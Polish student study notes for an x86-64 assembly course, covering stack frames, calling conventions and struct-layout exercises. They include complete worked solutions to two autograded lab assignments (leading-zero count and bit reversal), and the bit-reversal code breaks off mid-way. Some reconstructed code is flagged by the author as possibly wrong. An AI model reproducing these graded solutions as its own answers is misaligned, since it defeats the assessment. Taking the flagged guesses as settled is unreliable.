# Notatki dodatkowe z ASKa

## Discord studentów Instytutu Informatyki: https://discord.gg/KHwQ3Wx9hC
(tutaj ludzie ugadują się na robienie listy wpólnie, zadają i odpowiadają sobie na pytania)

Po dostęp do czatów na messengerze z ASKa musisz już pisać do studentów z grupy, co roku czaty się zmieniają.

## Inne arkusze hackmd:

**10.05.22 (Lista 9):**
https://hackmd.io/@6Qn-TtneQqe468tjW98iMQ/SyL_6zdI9

**22.05.22 (Lista 11):**
https://hackmd.io/@6Qn-TtneQqe468tjW98iMQ/Skzj3TPP5

**21.07.22:**
https://hackmd.io/@6Qn-TtneQqe468tjW98iMQ/ryN2IZwn5/edit

### 08.04.2022

https://www.youtube.com/watch?v=lUbPUWtmVUU - Podstawy podstaw z Assemblera, link do pierwszej części. Dość dobrze opisane co tam się dzieje, szczegóły jakieś trzeba już szukać po stackoverflow i tego typu stronach.
https://www.youtube.com/watch?v=-UbRr4gDnyE - Wykłady z Carnegie Mellon University. Czyli od autorów slajdów z wykładu.
https://www.youtube.com/watch?v=wy3e52A7Lu8 - Przykład tłumaczenia C na Assembler.
https://godbolt.org/ - Kompilator C->Assembly.
Polecam wersję "**x86-64 gcc 9.4**", ta u mnie najlepiej tłumaczyła. To można ustawić nad okienkiem z kodem assemblera. Flagi, których używałem to **-O3** (czyli najsilniejsza optymalizacja kodu), flaga do zmiany zachowania tego rejestru %rbp to **-fno-omit-frame-pointer** (no omit frame pointer) oraz **-fomit-frame-pointer** (omit frame pointer). To ta flaga od rbp to już w zależności czy Ci potrzebna czy nie.

**Kod do zadania 1:**

long puzzle(long rdi, long *rsi) {
    long rax = 0;
    if(rdi > 0) {
        long *k = rsi+1;
        rax += puzzle(2*rdi, k);
        rax += *(k);
        rdi += rax;
    }
    *rsi = rdi;
    return rax;
}

Tutaj może być jakiś błąd niestety, bo kod assemblera, który się generuje to:

puzzle:
        pushq   %rbp
        xorl    %eax, %eax
        movq    %rsp, %rbp
        pushq   %r12
        movq    %rsi, %r12
        pushq   %rbx
        movq    %rdi, %rbx
        testq   %rdi, %rdi
        jle     .L2
        leaq    8(%rsi), %rsi
        leaq    (%rdi,%rdi), %rdi
        call    puzzle
        addq    8(%r12), %rax
        addq    %rax, %rbx
.L2:
        movq    %rbx, (%r12)
        popq    %rbx
        popq    %r12
        popq    %rbp
        ret

long pointless(long rdi, long *rsi) {
    long rax;
    long rsp = rax;
    long *r14 = rsi;
    long rbx = rdi;
    
    if(rdi > 0) {
        rsi = &rsp;
        rax = pointless(2*rdi, rsi);
        rax += rsp;
    }
    else {
        rax = 0;
    }
    rbx += rax;
    *r14 = rbx;
    return rax;
}

Próba kodu z nowego zadania 1

Chociaż jest bardzo podobny. I ta funkcja jak sobie ją puścisz, robi tablicę liczb: $-n, -2n, -4n, -8n, \cdots$. Z jakiegoś powodu wychodzą ujemne wartości.

**Ciekawostka:**
Wykładowca zapuścił program pobierający wejście od użytkownika i wypisujący to co użytkownik wpisał do programu. Wywołał ten program dla odpowiednio dobranego ciągu znaków i zamiast program odpowiedzieć tym ciągiem znaków, wyświetlił na ekranie coś takiego:
Po prostu został nadpisany return address (adres powrotu do funkcji wołającej) i po zakończeniu tej funkcji skok nie był tam gdzie powinien być, ale do jakiejś funkcji, która wyświetla to na ekran, w całkowicie innym miejscu programu.
Zadziało się to dlatego, że ciąg znaków od użytownika byłzapisywany do jakiejś zmiennej lokalnej (tzw. bufora) i był na tyle długi, że to wyszło poza tą zmienną lokalną i zapisało się na stosie w tym miejscu, gdzie był adres powrotu do funkcji.

### Stos nieco dokładniej:

Mogłem nieco zamieszać z rejestrami %rsp i %rbp. Postaram się to wyjaśnić nieco dokładniej tutaj, na spokojnie:

Założmy, że używamy tutaj rejestru %rbp zgodnie z jego przeznaczeniem, czyli %rbp nie jest używany jak każdy inny rejestr, ale służy do tego specjalnego celu "ramki stosu" (czyli używamy flagi -fno-omit-frame-pointer).
W takim wypadku na start procedury zapisujemy %rsp do %rbp. Dlaczego? Bo zauważ, że wtedy %rbp wskazuje nam na adres powrotu, a 8(%rsp) na pierwszą zmienną lokalną. Innymi słowy, mamy prosty dostęp do zmiennych lokalnych. Robimy to dlatego, że jak rezerwujemy jakieś miejsce na zmienne lokalne czy odkłądamy coś na stos, to rejestr %rsp się zmienia. Bo ten rejestr wskazuje zawsze na szczyt stosu (bo fajnie wiedzieć gdzie ten szczyt jest).

Jeśli natomiast używamy flagi -fomit-frame-pointer (bodajże domyślnie ta flaga jest ustawiona, nie tamta wcześniejsza), to %rbp musi być odłożony na start na stos, bo my go sobie używamy w procedurze jako rejestr taki do robienia wyliczeń. A potem na koniecprocedury mmy go z tego stosu musimy znowu zdjąć.

Poniżej zrzut z pdf'a, który załączył prowadzący na liście zadań (swoją drogą, przydaje się bardzo przy robieniu tych zadań):
Źródło: https://raw.githubusercontent.com/wiki/hjl-tools/x86-psABI/x86-64-psABI-1.0.pdf
Tutaj widzisz konstrukcję stosu (przy założeniu, że %rbp jest używany jako ten specjalny rejestr).

### Wołanie programu (calling convention):
https://web.stanford.edu/class/archive/cs/cs107/cs107.1174/guide_x86-64.html
Kod w C

Kod w assemblerze, który mu odpowiada
Źródło: https://en.wikipedia.org/wiki/X86_calling_conventions

### Zamiast skoku do adresu

Co jeśli nie mamy w programie skoku pod określony adres?
Na przykład chcemy zrobić takie coś:

jmp 0x461230(%rbx)

Możemy zamiast tego zrobić tak:

leaq 0x461230(%rbx) %rcx
push %rcx
ret

Dlaczego? Zauważ, że instrukcją **push** wrzucamy coś na stos. Czyli przesuwamy wskaźnik **%rsp** i wrzucamy tam to co jest w push. Natomiast **ret** zaraz po tym zdejmuje ze stosu (zdjąć ze stosu można tylko z samego szczytu), czyli to co siedzi pod rejestrem **%rsp** (a jest to nasz adres, pod któy chcemy skoczyć) i skacze pod ten adres. Czyli takim sposobem ominęliśmy instrukcję skoku :)

### Rozkmina nad structami w procedurach

#include <stdio.h>

// Struct 16 bajtowy
typedef struct structTwo {
    long a;
    long b;
} structTwo;

typedef struct structThree {
    long a;
    long b;
    long c;
} structThree;

typedef struct structFour {
    long a;
    long b;
    long c;
    long d;
} structFour;

typedef struct structEight {
    long a;
    long b;
    long c;
    long d;
    long e;
    long f;
    long g;
    long h;
} structEight;

typedef struct structThirtyTwo {
    structEight a;
    structEight b;
    structEight c;
    structEight d;
} structThirtyTwo;

structTwo foo2(structTwo f) {
    structTwo g = { f.a, f.b};
    return g;
}

structThree foo3(structThree f) {
    structThree g = {f.a, f.b, f.c};
    return g;
}

structFour foo4(structFour f) {
    structFour g = {f.a, f.b, f.c, f.d};
    return g;
}

structEight foo8(structEight f) {
    structEight g = {f.a, f.b, f.c, f.d, f.e, f.f, f.g, f.h};
    return g;
}

structThirtyTwo foo32(structThirtyTwo f) {
    structThirtyTwo g = {f.a, f.b, f.c, f.d};
    return g;
}


int main() {
    return 0;
}

### Ciekawostka:

Jak weżmiemy sobie taki kod:

typedef struct {
    int a, b;
} structparam;

int func(structparam s) {
    return s.a + s.b;
}

To on jest tłumaczony do:

func:
        movq    %rdi, %rax
        shrq    $32, %rax
        addl    %edi, %eax
        ret

Chodzi tutaj o to, że jak mamy structa, który ma np. dwa inty (oba po 4 bajty), to oba te inty są umieszczane w jednym rejestrze, np. **%rdi**. Tylko są ułożone obok siebie po prostu, więc żeby je dodać najpierw wrzucamy całoś do raxa, potem tego **%rax** przesuwamy o 32 bity w prawo (żeby obciąć tę część s.a) i potem dodajemy tą prawą stronę **%rdi** (s.b):

|s.b|s.a|
|-|-|
|64-33|32-1|

Ale to działa dla structów, bo jak weźmiemy zwykłego inta to normalnie do **%rdi** i **%rsi** wkładane są parametry:

int func(int a, int b) {
    return a+b;
}

func:
        leal    (%rdi,%rsi), %eax
        ret

## UWAGA, TO PONIŻEJ NIE JEST POTWIERDZONE (NIE JESTEM PEWIEN CZY TO TUTAJ ZACHODZI)
### Problem z push %rax

Z tego co udało mi się wyczytać:
https://news.ycombinator.com/item?id=24044190
https://stackoverflow.com/questions/37773787/why-does-this-function-push-rax-to-the-stack-as-the-first-operation

Tutaj nie chodzi o to żeby tego raxa sobie zapisać, ale żeby wyrównać stos do adresu podzielnego przez 16. Dlaczego push %rax zamiast **subq $8 %rsp** ?

Bo instrukcja push %rax to tylko 1 bajt, natomiast tamto sub to ponoć koło 4 (mniej bitów do przeczytania to szybsze wykonanie). Chociaż lepiej to sprawdź jeszcze dokładniej i przeczytaj czy ja tutaj głupot nie opowiadam.

### 19.04.22

Materiały odnośnie do pracowni 1 (liczba wiodących zer):
- https://stackoverflow.com/questions/10439242/count-leading-zeroes-in-an-int32
- https://stackoverflow.com/questions/6234533/how-to-find-the-leading-number-of-zeros-in-a-number-using-c
- http://aggregate.org/MAGIC/#Leading%20Zero%20Count
- https://stackoverflow.com/questions/70308156/how-to-efficiently-count-leading-zeros-in-a-24-bit-unsigned-integer
- https://codingforspeed.com/counting-the-number-of-leading-zeros-for-a-32-bit-integer-signed-or-unsigned/

### 21.04.22

Do zainstalowania (żeby działał make):
- sudo apt update
- sudo apt upgrade
- sudo apt-get install valgrind
- sudo apt-get install llvm-11

Potem można normalnie korzystać z make all (i warto czasami zrobić make clean).

### 26.04.22

#### Zadanie 1

Odpowiedź będzie tutaj (Zadanie 5):

https://skos.ii.uni.wroc.pl/pluginfile.php/25203/mod_resource/content/1/ask19_egzamin_2.pdf

Tak w ogóle tam jest też zadanie 4, podobne do zadania 3 tutaj.

Funkcje podane w treści mają takie definicje:

- alignof(<structure>) - Wyrównanie (jaki padding dajemy)
- offsetof(<type>, <fieldOfType>) - Przesunięcie względem początku struktury
- sizeof(<structure>) - Rozmiar w bajtach

Żeby działały trzeba wrzucić do pliku:

#include <stdio.h>
#include <stddef.h>
#include <stdalign.h>

Przykład działania w tym zadaniu:

- alignof(struct node) == 8
- offsetof(struct node, flags) == 16
- sizeof(struct node) == 40

Optymalna struktura to po prostu trzeba w tych structach pozamieniać kolejność pól tak, żeby były posortowane od największego do najmniejszego.

#### Zadanie 2

typedef struct {
    int x[A][B];
    long y;
} str1;

typedef struct {
    char array[B];
    int t;
    short s[A];
    long u;
} str2;

void set_val(str1 *p, str2 *q) {
    long v1 = q->t;
    long v2 = q->u;
    p->y = v1 + v2;
}

set_val:
movslq 8(%rsi),%rax
addq 32(%rsi),%rax
movq %rax,184(%rdi)
ret

Tutaj jak mieliśmy na zajęciach, bierzemy zmienną, która jest przesunięta względem początku str2 o 8 bajtów.
A w str2 mamy najpierw tablicę charów, a potem inta. Czyli ta tablica charów ma od 5 do 8 bajtów. Nie może mieć mniej, bo wtedy ten int wskoczyłby na przesunięcie 4 bajty (a nie 8). Nie może więcej niż 8, bo wtedy int wskoczyłby na przesunięcie 12 bajtów. Czyli $B \in <5;8>$

Potem mamy przesunięcie 32. W tym przesunięciu zawiera się tablica charów (plus to przesunięcie, które tam jest lub nie), int t, oraz cała tablica s. Czyli mamy coś takiego:

Struct str2:
|0|1|2|3|4|5|6|7|
|-|-|-|-|-|-|-|-|
|array[0]|array[1]|array[2]|array[3]|array[4]|array[5]?|array[6]?|array[7]?|

|8|9|10|11|12|13|14|15|
|-|-|-|-|-|-|-|-|
|t|t|t|t|s[0]|s[0]|s[1]|s[1]|

|16|17|18|19|20|21|22|23|
|-|-|-|-|-|-|-|-|
|s[2]|s[2]|s[3]|s[3]|s[4]|s[4]|s[5]|s[5]|

|24|25|26|27|28|29|30|31|
|-|-|-|-|-|-|-|-|
|s[6]|s[6]|s[7]?|s[7]?|s[8]?|s[8]?|s[9]?|s[9]?|

|32|33|34|35|36|37|38|39|
|-|-|-|-|-|-|-|-|
|u|u|u|u|u|u|u|u|

No to minimalnie tablica s może mieć 7 elementów, a maksymalnie 10. Czyli $A \in <7;10>$

Potem chcemy się dostać do zmiennej y w str1, co robimy przesunięciem o 184 bajty. Zmienna y jest longiem, czyli ma 8 bajtów. Czyli mamy 2 możliwości:
Albo mamy w tej strukturze 184 bajty tablicy x, albo 180 bajtów tablicy x i 4 bajtów paddingu. Ale to jest w przeliczeniu na inty, więc dzielimy całość przed 4 i mamy:

Możliwości
- 184/4 = 46 = A*B
- 180/4 = 45 = A*B

Metodą prób i błędów (lub prostym skryptem pythonowym):

for AB_elem in [45,46]:
 for A_elem in [7,8,9,10]:
  for B_elem in [5,6,7,8]:
   if((AB_elem/(A_elem*B_elem)) == 1):
    print(f"A={A_elem}, B={B_elem}")

Mamy odpowiedź:
$A=9, B=5$

#### Zadanie 3

long A[R][S][T];

long store_elem(long i, long j, long k, long *dest)
{
    *dest = A[i][j][k];
    return sizeof(A);
}

store_elem:
    leaq (%rsi,%rsi,2),%rax /*(1) %rax = 3*j */
    leaq (%rsi,%rax,4),%rax /*(2) %rax = 4*3*j + j = 13j */
    movq %rdi,%rsi /*(3) j = i */
    salq $6,%rsi /*(4) j = 64i */
    addq %rsi,%rdi /*(5) i = 65i */
    addq %rax,%rdi /*(6) i += 13j */
    addq %rdi,%rdx /*(7) k += 65i + 13j */
    movq A(,%rdx,8),%rax /*(8) %rax = *(&A + 8*(65i + 13j + k)) */
    movq %rax,(%rcx) /*(9) *dest = *(&A + 8*(65i + 13j + k)) */
    movq $3640,%rax /*(10) %rax = 3640*/
    ret

Rozpisuję tabelkę. Pogrubioną czcionką są poszczególne kroki wypełniania tabeli.

|Rejstr|Wartości w środku||||
|-|-|-|-|-|
|%rax|3j **(1)**|13j **(2)**|\*(&A + 8*(65i + 13j + k)) **(8)**|$3640 **(10)**|
|%rdi|i|65i **(5)**|65i + 13j **(6)**|
|%rsi|j|i **(3)**|64i **(4)**|
|%rdx|k|k + 65i + 13j **(7)**|
|%rcx|&dest|\*(&A + 8*(65i + 13j + k)) **(9)**|

Elementy tablicy są umieszczone w pamięci obok siebie, bez dziur. Element o indeksie 0 ma adres taki sam jak początek tablicy. Czyli my liczymy przesunięcie względem początku tablicy w taki sposób:

&A + 8*(65i + 13j + k)

Tutaj jest mnożenie przez 8, bo mamy tablicę longów. W zadaniu jest tablica 3-wymiarowa. Czyli każdy element ma 3 współrzędne: i,j,k.

Weźmy prostszy przypadek, tablica o 2 elementach.
Wtedy żeby znaleźć A[i][j], liczymy: <wielkość i-tej tablicy>*i + j. Bo musimy przejść i*<wielkość i-tej tablicy>, żeby tarafić do tablicy, która nas interesuje, a potem dopiero przesunąć się na j-tą pozycję.

Tutaj mamy podobnie, w 3 wymiarach:

65i + 13j + k
Przesuwamy się 65*i, gdzie 65 to iloczyn wielkości S i T,
13j, gdzie 13 to wielkość T.

Wiemy ponadto, że tablica A ma wielkość 3640 bajtów. Wiemy, że to tablica longów (8 bajtowa zmienna), czyli to jest wielkość:

$R*S*T*sizeof(long) = 3640 \\
sizeof(long) = 8 \\
R*S*T = 455$

Ale wiemy, że:
$T=13 \\
S*T = 65$ czyli:
$S = 5$
Teraz jak weźmiemy:
$\frac{RST}{ST} = 455/65 = 7 = R$
Co daje odpowiedź końcową:
$R=7; S=5; T=13$

#### Unsigned char:

https://stackoverflow.com/questions/75191/what-is-an-unsigned-char

Tak jak mówiłem, możemy traktować sobie char jako liczbę albo znak. Char jest tylko nazwą na zmienną 1-bajtową.

Pracownia 1. Liczba zer wiodących
===

W pliku `clz.s` zaprogramuj w asemblerze `x86-64` procedurę o sygnaturze
`int clz(uint64_t)`, która dla danego słowa maszynowego wyznacza długość
najdłuższego prefiksu składającego się z samych zer. Rozwiązanie ma działać w
`O(log n)`, gdzie `n` jest długością słowa maszynowego.

### Ważne:

1. Można używać wyłącznie instrukcji poznanych na wykładzie i ćwiczeniach.
2. Użycie instrukcji `lzcnt` lub podobnych jest niedozwolone!
3. Modyfikowanie innych plików niż `clz.s` jest niedozwolone!
4. Twoje rozwiązanie nie powinno być dłuższe niż 50 instrukcji.
5. Pełną liczbę punktów można uzyskać wyłącznie za rozwiązanie, które nie
używa instrukcji skoków. Dokładniejsze informacje można znaleźć w pliku
`.github/classroom/autograding.json`.
6. Za rozwiązanie spełniające powyższe oraz dodatkowe wymogi określone
w pliku Makefile, można uzyskać punkt bonusowy (nie jest on widoczny na
Github).

### Pamiętaj:

1. Podpisz się w treści rozwiązania.
2. Nie zamykaj _Pull Request_ o nazwie _Feedback_!
3. W zakładce _zmienione pliki_ (ang. _changed files_) _Pull Request_ o nazwie
_Feedback_ ma być widać wyłącznie treść Twojego rozwiązania!

### Rozwiązanie (prawie):

Procedura *clz* w **Assemblerze**:

clz:
        movq    %rdi, %rax
        shrq    %rdi
        orq     %rax, %rdi
        movq    %rdi, %rax
        shrq    $2, %rax
        orq     %rdi, %rax
        movq    %rax, %rdi
        shrq    $4, %rdi
        orq     %rax, %rdi
        movq    %rdi, %rax
        shrq    $8, %rax
        orq     %rdi, %rax
        movq    %rax, %rdx
        shrq    $16, %rdx
        orq     %rax, %rdx
        movq    %rdx, %rax
        shrq    $32, %rax
        orq     %rdx, %rax
        movq    %rax, %rdx
        shrq    %rdx
        movabsq $0x5555555555555555, %rcx
        andq    %rcx, %rdx
        subq    %rdx, %rax
        movabsq $0x3333333333333333, %rcx
        movq    %rax, %rdx
        andq    %rcx, %rdx
        shrq    $2, %rax
        andq    %rcx, %rax
        addq    %rdx, %rax
        movq    %rax, %rdx
        shrq    $4, %rdx
        addq    %rax, %rdx
        movabsq $0xF0F0F0F0F0F0F0F, %rax
        andq    %rax, %rdx
        movabsq $0x101010101010101, %rax
        imulq   %rax, %rdx
        shrq    $56, %rdx
        movl    $64, %eax
        subl    %edx, %eax
        ret

Funkcja *clz()* w **C**:

#include <stdint.h>

int clz(uint64_t x) {
    x = x | (x >> 1);
    x = x | (x >> 2);
    x = x | (x >> 4);
    x = x | (x >> 8);
    x = x | (x >>16);
    x = x | (x >>32);
    x -= (x >> 1) & 0x5555555555555555;
    x = (x & 0x3333333333333333) + ((x >> 2) & 0x3333333333333333);
    x = (x + (x >> 4)) & 0x0f0f0f0f0f0f0f0f;
    return 64 - ((x * 0x0101010101010101) >> 56);
}

Waga Hamminga:
https://en.wikipedia.org/wiki/Hamming_weight

Zmieniona procedura w **Assemblerze**:

clz:
    movq    %rdi, %rax
    shrq    %rax
    orq     %rax, %rdi

    movq    %rdi, %rax
    shrq    $2, %rax
    orq     %rax, %rdi

    movq    %rdi, %rax
    shrq    $4, %rax
    orq     %rax, %rdi

    movq    %rdi, %rax
    shrq    $8, %rax
    orq     %rax, %rdi

    movq    %rdi, %rax
    shrq    $16, %rax
    orq     %rax, %rdi

    movq    %rdi, %rax
    shrq    $32, %rax
    orq     %rax, %rdi

    movq	%rdi, %rax
    shrq	%rax
    movabsq	$0x5555555555555555, %rcx
    andq	%rax, %rcx
    subq	%rcx, %rdi

    movabsq	$0x3333333333333333, %rcx
    movq	%rdi, %rax
    andq	%rcx, %rdi
    shrq	$2, %rax
    andq	%rcx, %rax
    addq	%rax, %rdi

    movabsq	$0x0f0f0f0f0f0f0f0f, %rcx
    movq	%rdi, %rax
    shrq	$4, %rax
    addq	%rax, %rdi
    andq	%rcx, %rdi

    movabsq	$0x0101010101010101, %rcx
    imulq	%rcx, %rdi
    shrq	$56, %rdi
    movq	$64, %rax
    subq	%rdi, %rax

    ret

### Ciekawostka

Jeśli zmienimy kod powyżej na następujący:

clz:
        movq    %rdi, %rax
        shrq    %rax
        orq     %rax, %rdi

        movq    %rdi, %rax
        shrq    $2, %rdi
        orq     %rax, %rdi

        movq    %rdi, %rax
        shrq    $4, %rax
        orq     %rax, %rdi

        movq    %rdi, %rax
        shrq    $8, %rdi
        orq     %rax, %rdi

        movq    %rdi, %rax
        shrq    $16, %rax
        orq     %rax, %rdi

        movq    %rdi, %rax
        shrq    $32, %rdi
        orq     %rax, %rdi

        movq	%rdi, %rdx
        shrq	%rdx
        movq	$0x5555555555555555, %rax
        andq	%rdx, %rax
        subq	%rax, %rdi

        movq	$0x3333333333333333, %rdx
        movq	%rdi, %rax
        andq	%rdx, %rdi
        shrq	$2, %rax
        andq	%rdx, %rax
        addq	%rax, %rdi

        movq	$0x0f0f0f0f0f0f0f0f, %rdx
        movq	%rdi, %rax
        shrq	$4, %rax
        addq	%rax, %rdi
        andq	%rdx, %rdi

        movq	$0x0101010101010101, %rdx
        imulq	%rdx, %rdi
        shrq	$56, %rdi
        movq	$64, %rax
        subq	%rdi, %rax

        ret

... czyli w pierwszej połowie kodu, gdzie "sklejamy" jedynki, wykonujemy co drugie shiftowanie nie na *rax*-ie tylko na *rdi*, to zamiast

Instructions per cycle: 1.18
Cycles per iteration: 34.04

otrzymujemy

Instructions per cycle: 1.29
Cycles per iteration: 31.04

czyli już poniżej 32. Zapewne można tak samo zrobić dla drugiej połowy kodu. Chodzi zatem chyba o to, żeby ilości wywołań każdego rejestru różniły się jak najmniej między sobą.

### Skomentowane rozwiązanie

       .text
        .globl  clz
        .type   clz, @function

/*
 * W moim rozwiązaniu używam następującej techniki:
 * 
 * 1. W celu otrzymania ciągu zer wiodących i dalej wyłącznie jedynek, wykonujemy kilkakrotnie operację OR 
 *    na zmiennej i zshiftowanej (o kolejno 1, 2, 4, 8, 16 i 32) zmiennej i wynik przypisujemy do rejestru 
 *    %rdi. Operację shiftowania wykonujemy raz w %rdi, raz w %rax-ie w celu zminimalizowania wartości CPI.
 *
 * 2. Liczymy ilość jedynek (czyli wszystkich bitów poza zerami wiodącymi) przy pomocy masek bitowych (zapisywanych
 *    szesnastkowo) i otrzymaną liczbę odejmujemy od 64 w celu otrzymania liczby zer wiodących.
 *
 * Celowo nie korzystamy z rejestrów "callee-saved" (np. %rbx) żeby uniknąć dodatkowych niepotrzebnych instrukcji,
 * tj. PUSHQ i POPQ.
 */

clz:
        /* Dla n = 1, 2, 4, 8, 16, 32 wykonujemy podobny ciąg operacji - kopiujemy zmienną przechowywaną w %rdi do 
        * %rax-a, shiftujemy o n bitów w prawo albo zmienną (czyli wartość przechowywaną w %rdi), albo jej kopię 
        * (czyli wartość przechowywaną w %rax). */
        movq    %rdi, %rax
        shrq    %rax             /* Tutaj wykonujemy operację SHRQ w %rax-ie ... */
        orq     %rax, %rdi

        movq    %rdi, %rax
        shrq    $2, %rdi         /* ... tutaj w %rdi ... */
        orq     %rax, %rdi

        movq    %rdi, %rax
        shrq    $4, %rax         /* ... tutaj znowu w %rax-ie, itd. */
        orq     %rax, %rdi

        movq    %rdi, %rax
        shrq    $8, %rdi
        orq     %rax, %rdi

        movq    %rdi, %rax
        shrq    $16, %rax
        orq     %rax, %rdi

        movq    %rdi, %rax
        shrq    $32, %rdi
        orq     %rax, %rdi

        /* Od zmiennej (zapisanej w %rdi) odejmujemy zmienną zshiftowaną o jeden bit w prawo (zapisaną w %rdx)
        *  zandowaną z maską bitową 0x5555555555555555 (zapisaną w %rax-ie). Wynik zapisujemy do %rdi. */
        movq	%rdi, %rdx
        shrq	%rdx
        movq	$0x5555555555555555, %rax
        andq	%rdx, %rax
        subq	%rax, %rdi

        /* Korzystamy dwukrotnie z maski bitowej 0x3333333333333333 (zapisanej w %rdx) - andujemy ją ze samą zmienną 
        *  (wynik zapisujemy do %rdi) oraz ze zmienną zshiftowaną o dwa bity w prawo (wynik zapisujemy do %rax-a). Na
        *  koniec dodajemy obie wartości i zapisujemy wynik do %rdi. */
        movq	$0x3333333333333333, %rdx
        movq	%rdi, %rax
        andq	%rdx, %rdi
        shrq	$2, %rax
        andq	%rdx, %rax
        addq	%rax, %rdi

        /* Dodajemy zmienną (tj. wartość zapisaną w %rdi) do samej siebie zshiftowanej o cztery bity w prawo (zapisana 
        *  w %rax-ie) i andujemy sumę (zapisaną w %rdi) z maską bitową 0x0f0f0f0f0f0f0f0f (zapisaną w %rdx). Wynik jest
        *  zapisywany do %rdi. */
        movq	$0x0f0f0f0f0f0f0f0f, %rdx
        movq	%rdi, %rax
        shrq	$4, %rax
        addq	%rax, %rdi
        andq	%rdx, %rdi

        /* Mnożymy wartość %rdi z maską bitową 0x0101010101010101 (przechowywaną w %rdx), wynik (przechowywany w %rdi)
        *  shiftujemy o 56 bitów w prawo i odejmujemy tą wartość od 64. Wynik jest zapisywany do %rax-a. */
        movq	$0x0101010101010101, %rdx
        imulq	%rdx, %rdi
        shrq	$56, %rdi
        movq	$64, %rax
        subq	%rdi, %rax

        /* Zwracamy (tj. "skaczemy" do rejestru) wartość przechowywaną w %rax-ie. */
        ret

        .size   clz, .-clz

Pracownia 2. Odwracanie wektora bitów
===

W pliku `bitrev.s` zaprogramuj w asemblerze `x86-64` procedurę o sygnaturze
`uint64_t bitrev(uint64_t)`. Dla danego słowa maszynowego składającego się z
bitów <tt>b_n-1...b₀</tt> procedura ma wyznaczyć jego
lustrzane odbicie tak, że dla każdego `i` zachodzi <tt>r_i =
b_(n-1)-i</tt>, gdzie `r` jest wynikiem działania. Rozwiązanie ma
działać w złożoności `O(log n)`, gdzie `n` jest długością słowa maszynowego
w bitach.

### Ważne

1. Można używać wyłącznie instrukcji arytmetyczno-logicznych poznanych na
wykładzie i ćwiczeniach.
2. Użycie instrukcji `bswap` i instrukcji sterujących (poza `ret`) jest
niedozwolone!
3. Modyfikowanie innych plików niż `bitrev.s` jest niedozwolone!
4. Twoje rozwiązanie nie może być dłuższe niż 48 instrukcji.
5. Pełną liczbę punktów można uzyskać wyłącznie za rozwiązanie, które jest
nie dłuższe niż 32 instrukcje. Dokładniejsze informacje można znaleźć
w pliku `.github/classroom/autograding.json`.
6. Za rozwiązanie spełniające powyższe oraz dodatkowe wymogi określone
w pliku `Makefile`, można uzyskać punkt bonusowy.

### Pamiętaj:

1. Podpisz się w treści rozwiązania.
2. Nie zamykaj _Pull Request_ o nazwie _Feedback_!
3. W zakładce _zmienione pliki_ (ang. _changed files_) _Pull Request_ o nazwie
_Feedback_ ma być widać wyłącznie treść Twojego rozwiązania!

### Źródła do pracowni:

Tutaj jest kod w C, odwracanie wektora bitów. Tak jak gdzieś tam wspominałem, odwracamy sobie ten wektor najpierw pojedynczo, potem parami, potem czwórkami itd.
- https://graphics.stanford.edu/~seander/bithacks.html#ReverseParallel

### Przemyślenia

Kod w **C** dla 32 bitów podlinkowany powyżej, czyli funkcja

uint32_t bitrev(uint32_t v) {
        // swap odd and even bits
        v = ((v >> 1) & 0x55555555) | ((v & 0x55555555) << 1);
        // swap consecutive pairs
        v = ((v >> 2) & 0x33333333) | ((v & 0x33333333) << 2);
        // swap nibbles ... 
        v = ((v >> 4) & 0x0F0F0F0F) | ((v & 0x0F0F0F0F) << 4);
        // swap bytes
        v = ((v >> 8) & 0x00FF00FF) | ((v & 0x00FF00FF) << 8);
        // swap 2-byte long pairs
        v = ( v >> 16             ) | ( v               << 16);
        return v;
}

oraz inny wariant, znaleziony na
https://stackoverflow.com/questions/2602823/in-c-c-whats-the-simplest-way-to-reverse-the-order-of-bits-in-a-byte, czyli

uint32_t bitrev(uint32_t b) {
        uint32_t mask = 0b11111111111111110000000000000000;
        b = (b & mask) >> 16 | (b & ~mask) << 16;
        mask = 0b11111111000000001111111100000000;
        b = (b & mask) >> 8 | (b & ~mask) << 8;
        mask = 0b11110000111100001111000011110000;
        b = (b & mask) >> 4 | (b & ~mask) << 4;
        mask = 0b11001100110011001100110011001100;
        b = (b & mask) >> 2 | (b & ~mask) << 2;
        mask = 0b10101010101010101010101010101010;
        b = (b & mask) >> 1 | (b & ~mask) << 1;
        return b;
}

dają te same wyniki (chyba). Maski są te same, tyle że zapisane dwójkowo w drugim przypadku, no i kolejność wykonywania operacji jest dokładnie odwrotna. Nasuwa się pytanie, dlaczego w drugim rozwiązaniu korzystamy nie tylko z masek, ale i z negacji masek.

Patrząc na dwójkowy zapis masek, można zauważyć pewien *pattern* -- "częstotliwość" jedynek jest dwa razy mniejsza dla każdej kolejnej maski przy rosnącej liczbie przesunięć (czyli patrząc z dołu w górę w drugim wariancie). To o to chodziło z tym odwracaniem pojedyńczo, parami, itd., prawda? Można zatem zgadnąć jak będzie wyglądała maska dla przesunięcia o 32 bity w 64-bitowym wariancie kodu -- 32 jedynki, za nimi 32 zera, czyli 0xFFFFFFFF00000000 w zapisie szesnastkowym.

Maska zresztą chyba nie jest potrzebna dla największego przesunięcia, bo samo przesunięcie stanowi "maskę", tak? W pierwszym wariancie kodu nie mamy maski dla 16.

Dla 64 bitów wychodzi coś takiego -- chyba kod działa poprawnie:

uint64_t bitrev(uint64_t v) {
   	// swap odd and even bits
	v = ((v >> 1) & 0x5555555555555555) | ((v & 0x5555555555555555) << 1);
	// swap consecutive pairs
	v = ((v >> 2) & 0x3333333333333333) | ((v & 0x3333333333333333) << 2);
	// swap nibbles ... 
	v = ((v >> 4) & 0x0F0F0F0F0F0F0F0F) | ((v & 0x0F0F0F0F0F0F0F0F) << 4);
	// swap bytes
	v = ((v >> 8) & 0x00FF00FF00FF00FF) | ((v & 0x00FF00FF00FF00FF) << 8);
	// swap 2-byte long pairs
	v = ((v >> 16)& 0x0000FFFF0000FFFF) | ((v & 0x0000FFFF0000FFFF) << 16);
	// swap 4-byte long pairs
	v = ( v >> 32                     ) | ( v                       << 32);
	return v;
}

Tłumacząc to do **Assemblera** wychodzi mi...

bitrev:
    movq    %rdi, %rax
    movq    $0x5555555555555555, %rdx
    shrq    %rdi
    andq    %rdx, %rdi
    andq    %rdx, %rax
    shlq    %rax
    orq     %rax, %rdi
    
    movq    %rdi, %rax
    movq    $0x3333333333333333, %rdx
    shrq    $2, %rdi
    andq    %rdx, %rdi
    andq    %rdx, %rax
    shlq    $2, %rax
    orq     %rax, %rdi
    
    movq    %rdi, %rax
    movq    $0x0F0F0F0F0F0F0F0F, %rdx
    shrq    $4, %rdi
    andq    %rdx, %rdi
    andq    %rdx, %rax
    shlq    $4, %rax
    orq     %rax, %rdi
    
    movq    %rdi, %rax
    movq    $0x00FF00FF00FF00FF, %rdx
